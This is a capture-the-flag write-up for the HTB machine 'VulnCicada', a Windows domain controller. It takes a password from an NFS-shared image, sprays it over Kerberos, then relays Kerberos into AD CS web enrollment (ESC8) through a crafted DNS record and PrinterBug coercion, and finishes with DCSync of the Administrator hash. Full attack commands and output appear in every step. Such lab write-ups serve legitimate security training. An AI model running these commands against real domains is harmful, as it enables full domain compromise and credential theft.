Miguel.sh

VulnCicada

An NFS share exposing user profiles yields a password hidden inside an image. The domain blocks NTLM authentication entirely, so the AD CS web enrollment (ESC8) has to be attacked by relaying Kerberos: a crafted DNS record makes the domain controller authenticate to a relay listener with a machine ticket, which enrolls a DomainController certificate as the DC itself. The certificate leads to the machine account hash, DCSync, and the Administrator hash.

Category
machine
Source
HTB
OS
windows
Difficulty
medium
Released
Tags
windowsactive-directoryadcsesc8kerberos-relaynfscoercioncertipydcsync
Tools
nmap, nfs-utils, kerbrute, zsteg, certipy, netexec, bloodyAD, impacket

Attack path

flowchart LR
  A["nmap — DC-JPQ225.cicada.vl"] --> B["NFS /profiles (everyone)"]
  B --> C["11 usernames from profile dirs"]
  C --> D["uid-0 read of marketing.png"]
  D --> E["password Cicada123"]
  E --> F["kerbrute spray — rosie.powell valid"]
  F --> G["certipy find — ESC8, web enrollment HTTP"]
  G --> H["bloodyAD — crafted DNS record"]
  H --> I["certipy relay + PrinterBug coercion"]
  I --> J["dc-jpq225.pfx — machine certificate"]
  J --> K["PKINIT — DC-JPQ225$ NT hash"]
  K --> L["DCSync — Administrator NT hash"]
  L --> M["atexec — user and root flags"]

Recon

Step 1 — Scan the domain controller

Full TCP port scan with service and script detection.

nmap
sudo nmap -sV -sC -T4 10.129.97.208 -p- -o nmap.txt

Key output: DNS (53), IIS with the default page (80), Kerberos (88), LDAP (389/636/3268/3269) with certificates for CN=DC-JPQ225.cicada.vl, SMB with signing enabled and required (445), RDP (3389), ADWS (9389) — a domain controller for cicada.vl. Two deviations from the default DC picture: WinRM (5985) is absent, and NFS is exported on 2049, which is uncommon on Windows and the first thing to enumerate.

Step 2 — Pin the hostnames

Kerberos tooling in later steps resolves the FQDN.

/etc/hosts
echo "10.129.97.208 DC-JPQ225.cicada.vl cicada.vl" | sudo tee -a /etc/hosts

Foothold

Step 3 — Mount the NFS export and collect usernames

NFS enumeration
showmount -e 10.129.97.208
sudo mount -t nfs -o vers=3,nolock 10.129.97.208:/profiles /mnt/profiles
ls -laR /mnt/profiles

showmount reports /profiles (everyone). The export contains one directory per user profile, which gives 11 account names in first.last form: Administrator, daniel.marshall, debra.wright, jane.carter, jordan.francis, joyce.andrews, katie.ward, megan.simpson, richard.gibbons, rosie.powell, shirley.west.

Two directories hold files. Administrator/vacation.png is world-readable. Rosie.Powell/marketing.png has mode 0700, and both Documents/ directories deny access. Ownership shows as UID 4294967294 on every object — the server reports unmapped identities, so NFS permission tests must be run per-UID rather than trusted from one attempt.

Step 4 — Read the restricted file as uid 0

Anonymous reads and spoofed AUTH_SYS UIDs (1000–1200) fail on marketing.png — the server enforces Windows ACLs per identity. However, this Windows NFS server maps uid 0 to a privileged identity, and root reads succeed:

uid-0 NFS read
sudo cp /mnt/profiles/Rosie.Powell/marketing.png .
sudo chown kali:kali marketing.png

sudo chown is needed because cp preserves the source’s 0700 root mode. The image contains the password in plain sight:

marketing.png from the NFS share shows the password Cicada123

Password recovered: Cicada123

Step 5 — Validate the account names against Kerberos

Pre-authentication enumeration cannot lock accounts and needs no credentials. The binary is not packaged for current Kali:

kerbrute userenum
sudo wget -qO /usr/local/bin/kerbrute https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64 && sudo chmod +x /usr/local/bin/kerbrute
kerbrute userenum -d cicada.vl --dc 10.129.97.208 users.txt

Result: 10 of 11 names valid; shirley.west has no valid account despite having a profile directory.

Step 6 — Spray the recovered password

password spray
kerbrute passwordspray -d cicada.vl --dc 10.129.97.208 users.txt Cicada123
[+] VALID LOGIN: rosie.powell@cicada.vl:Cicada123

rosie.powell : Cicada123 is the first domain credential.

NTLM is disabled domain-wide. Every NTLM attempt — null session, guest, password spray through nxc — returns STATUS_NOT_SUPPORTED, never STATUS_LOGON_FAILURE; the nxc banner shows NTLM:False. Validate credentials only through Kerberos (kerbrute) or LDAP simple binds, and run every tool that supports it with -k and FQDN targets.

Privilege escalation

Step 7 — Confirm ESC8 on the AD CS web enrollment

Web enrollment answers on the IIS port:

web enrollment check
curl -s -o /dev/null -w '%{http_code}\n' http://10.129.97.208/certsrv/

401 — the endpoint is live behind authentication. With NTLM banned, certipy authenticates with a Kerberos ticket, and the target must be the FQDN (a raw IP produces data 52e invalidCredentials, because no SPN exists for ldap/10.129.97.208):

certipy find
sudo /usr/sbin/ntpdate 10.129.97.208
impacket-getTGT cicada.vl/rosie.powell:Cicada123 -dc-ip 10.129.97.208
export KRB5CCNAME=$PWD/rosie.powell.ccache
certipy-ad find -k -u rosie.powell@cicada.vl -dc-ip 10.129.97.208 -target DC-JPQ225.cicada.vl -vulnerable -stdout
CA Name : cicada-DC-JPQ225-CA
Web Enrollment
HTTP Enabled : True
HTTPS Enabled : False
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled over HTTP.

No template-level vulnerability exists — the exposure is the HTTP enrollment endpoint itself. Classic ESC8 relays NTLM into it, and NTLM is banned, so the attack has to relay Kerberos.

Step 8 — Plant a crafted DNS record pointing at the attacker

Kerberos clients only speak Kerberos to targets they address by name — a HOST-based SPN is built from the hostname. A crafted record of the form <HOSTNAME>1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA (hostname prefix plus magic suffix) makes the domain controller resolve that name to the attacker while the KDC issues a usable ticket. Added with rosie’s credential from step 6:

DNS record
bloodyAD -u rosie.powell -p 'Cicada123' -d cicada.vl -k --host DC-JPQ225.cicada.vl \
add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.14.33
[+] DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA has been successfully added

10.10.14.33 is the attacker’s VPN address. The record is removed after the attack (step 14).

Step 9 — Start the relay listener

The Kali-packaged certipy-ad 5.1.0 fails on Kerberos-relayed tickets with Attribute's length must be >= 1 and <= 64, but it was 0 — the relayed ticket carries an empty SAM name. A pip installation in a venv proceeds and requests the certificate anyway:

relay listener
python3 -m venv /opt/cipy
sudo /opt/cipy/bin/pip install certipy-ad
sudo /opt/cipy/bin/certipy relay -target 'http://DC-JPQ225.cicada.vl/' -template DomainController

The listener binds port 445 and waits.

The coercion listener must be the crafted DNS name, never the attacker IP. Coerced clients send NTLM to raw IP addresses; the relayed authentication is accepted (Authenticating ... SUCCEED) but the enrollment POST times out, because certsrq rejects NTLM. Pointing the coercion at the crafted name from step 8 produces a Kerberos ticket and a completed enrollment.

Step 10 — Coerce the domain controller

In a second terminal, with the relay from step 9 listening:

coercion
nxc smb DC-JPQ225.cicada.vl -k -u rosie.powell -p 'Cicada123' \
-M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PrinterBug

The relay output shows the full enrollment:

[*] (SMB): Authenticating connection from /@10.129.97.208 against http://DC-JPQ225.cicada.vl SUCCEED [1]
[*] Requesting certificate for '\\' based on the template 'DomainController'
[*] HTTP Request: POST http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[*] Certificate issued with request ID 90
[*] Got certificate with DNS Host Name 'DC-JPQ225.cicada.vl'
[*] Certificate object SID is 'S-1-5-21-687703393-1447795882-66098247-1000'
[*] Saving certificate and private key to 'dc-jpq225.pfx'

The certificate belongs to the machine account DC-JPQ225$.

Step 11 — Authenticate as the machine account

PKINIT
sudo chown kali:kali dc-jpq225.pfx
certipy-ad auth -pfx dc-jpq225.pfx -dc-ip 10.129.97.208
[*] Using principal: 'dc-jpq225$@cicada.vl'
[*] Got hash for 'dc-jpq225$@cicada.vl':
aad3b435b51404eeaad3b435b51404ee:a65952c664e9cf5de60195626edbeee3

This also writes dc-jpq225.ccache, a usable ticket cache for the machine account.

Step 12 — DCSync the Administrator hash

Domain controllers hold replication rights, so the machine ticket is enough for a Kerberos-authenticated DCSync:

DCSync
KRB5CCNAME=$PWD/dc-jpq225.ccache impacket-secretsdump -k -no-pass \
'cicada.vl/DC-JPQ225$'@DC-JPQ225.cicada.vl -just-dc-user administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::

Step 13 — Read the user flag

With NTLM unavailable, the Administrator session rides Kerberos: a TGT requested with the NT hash over RC4, then command execution through the scheduler:

user flag
impacket-getTGT cicada.vl/administrator -hashes :85a0da53871a9d56b6cd05deda3a5e87 -dc-ip 10.129.97.208
export KRB5CCNAME=$PWD/administrator.ccache
impacket-atexec -k -no-pass cicada.vl/administrator@DC-JPQ225.cicada.vl \
'type C:\Users\Administrator\Desktop\user.txt C:\Users\Administrator\Desktop\root.txt'

user.txt: <redacted>

Step 14 — Root flag and cleanup

The same atexec output carries both flags. root.txt: <redacted>

The scheduled task deletes itself. The DNS record from step 8 is the remaining domain modification:

cleanup
bloodyAD -u rosie.powell -p 'Cicada123' -d cicada.vl -k --host DC-JPQ225.cicada.vl \
remove dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.14.33

What didn’t work

  • Steganography on vacation.png. zsteg extracts the fragment 044smkhwr from the image data, but it fails pre-authentication against all ten valid accounts — a decoy on this instance. The working password was painted into a second, access-restricted image:

    vacation.png is an AI-generated stock photo of a parachutist; its LSB data holds a decoy fragment

  • IP-address coercion listener. Relaying the coerced connection addressed to 10.10.14.33 produced Authenticating ... SUCCEED followed by an enrollment POST timeout on every attempt — the client used NTLM, which certsrq refuses (see the warning in step 9).

  • PetitPotam as the coercion method. It fired a double callback that raced the enrollment POST into a deterministic timeout. PrinterBug’s single callback worked first try.

  • Tooling on current Kali (Python 3.14, November 2026): the Kali certipy-ad 5.1.0 package hits an empty-SAM relay bug (fixed by the venv install in step 9); krbrelayx crashes generating the CSR because new pyOpenSSL removed crypto.X509Req; dnstool.py at the krbrelayx repo HEAD imports a module that was never committed; nxc LDAP authentication is NTLM and unusable against this box.

Lessons learned

  • An anonymous NFS export on a domain controller is an identity boundary, not just a file leak. Test anonymous, spoofed-UID, and uid-0 reads against restricted files before writing NFS off — the privileged uid-0 mapping was the entry here.
  • NTLM:False in the nxc banner is a design statement for the whole engagement: validate via kerbrute or LDAP simple bind, use -k plus FQDN targets everywhere, and expect relaying to require Kerberos.
  • The three hinge points of Kerberos-relay ESC8: a hostname listener (the crafted DNS record), the <HOSTNAME>1UWhR... record format, and PrinterBug’s single callback.
  • Verify image-derived secrets against the valid account list before investing in deeper stego extraction — decoys are cheap to plant and this box carries one.